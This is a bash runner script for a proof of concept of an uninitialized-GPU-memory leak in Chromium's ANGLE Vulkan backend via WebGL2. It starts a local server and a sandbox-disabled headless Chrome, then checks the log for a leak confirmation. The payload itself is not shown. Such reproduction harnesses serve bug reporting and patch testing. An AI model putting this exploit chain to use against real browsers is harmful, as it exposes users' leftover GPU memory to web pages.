#!/bin/bash
# POC runner: ANGLE Vulkan stale-prune robust-init bypass (CWE-908)
#
# Usage: ./run.sh [path-to-chrome]
#   default chrome: /chromium/chromium/src/out/asan/chrome
set -u

DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${1:-/chromium/chromium/src/out/asan/chrome}"
PORT="${PORT:-$((20000 + RANDOM % 10000))}"
PROFILE=/tmp/chrome-poc-profile-$$
LOG=/tmp/chrome-poc-$$.log

cleanup() {
  [ -n "${SERVER_PID:-}" ] && kill "$SERVER_PID" 2>/dev/null
  rm -rf "$PROFILE"
}
trap cleanup EXIT

python3 "$DIR/server.py" "$PORT" >/dev/null 2>&1 &
SERVER_PID=$!
sleep 1

# --use-angle=swiftshader     -> ANGLE Vulkan backend over the bundled
#                                SwiftShader Vulkan ICD (works headless).
#   On a machine with a real Vulkan driver, use --use-angle=vulkan instead;
#   the Vulkan backend is the *default* on Android.
# --enable-unsafe-swiftshader -> permit SwiftShader for the whole process
#                                (compositor) so headless mode initialises.
# --headless=new --dump-dom   -> run without a display; dump final DOM.
timeout 60 "$CHROME" \
  --no-sandbox --no-first-run --no-default-browser-check --ignore-gpu-blocklist \
  --user-data-dir="$PROFILE" \
  --use-gl=angle --use-angle=swiftshader --enable-unsafe-swiftshader \
  --enable-logging=stderr \
  --headless=new --disable-gpu-compositing \
  "http://127.0.0.1:$PORT/poc.html" \
  > "$LOG" 2>&1 &
CHROME_PID=$!

# Wait for the verdict line (POC completes in <2s on a debug build).
for i in $(seq 1 60); do
  grep -q '==> RESULT:' "$LOG" 2>/dev/null && break
  kill -0 $CHROME_PID 2>/dev/null || break
  sleep 1
done
kill $CHROME_PID 2>/dev/null
wait $CHROME_PID 2>/dev/null

echo "==================== POC OUTPUT ===================="
grep -F '[POC]' "$LOG" | sed -E 's/^\[[0-9:\/.]+INFO:CONSOLE:[0-9]+\] "(\[POC\][^"]*)".*$/\1/'
echo "===================================================="
echo
if grep -q '==> RESULT: LEAK CONFIRMED' "$LOG"; then
  echo "STATUS: VULNERABLE (uninitialized GPU memory leaked via WebGL2)"
  RC=0
else
  echo "STATUS: NOT REPRODUCED"
  RC=1
fi
echo "Full log: $LOG"
exit $RC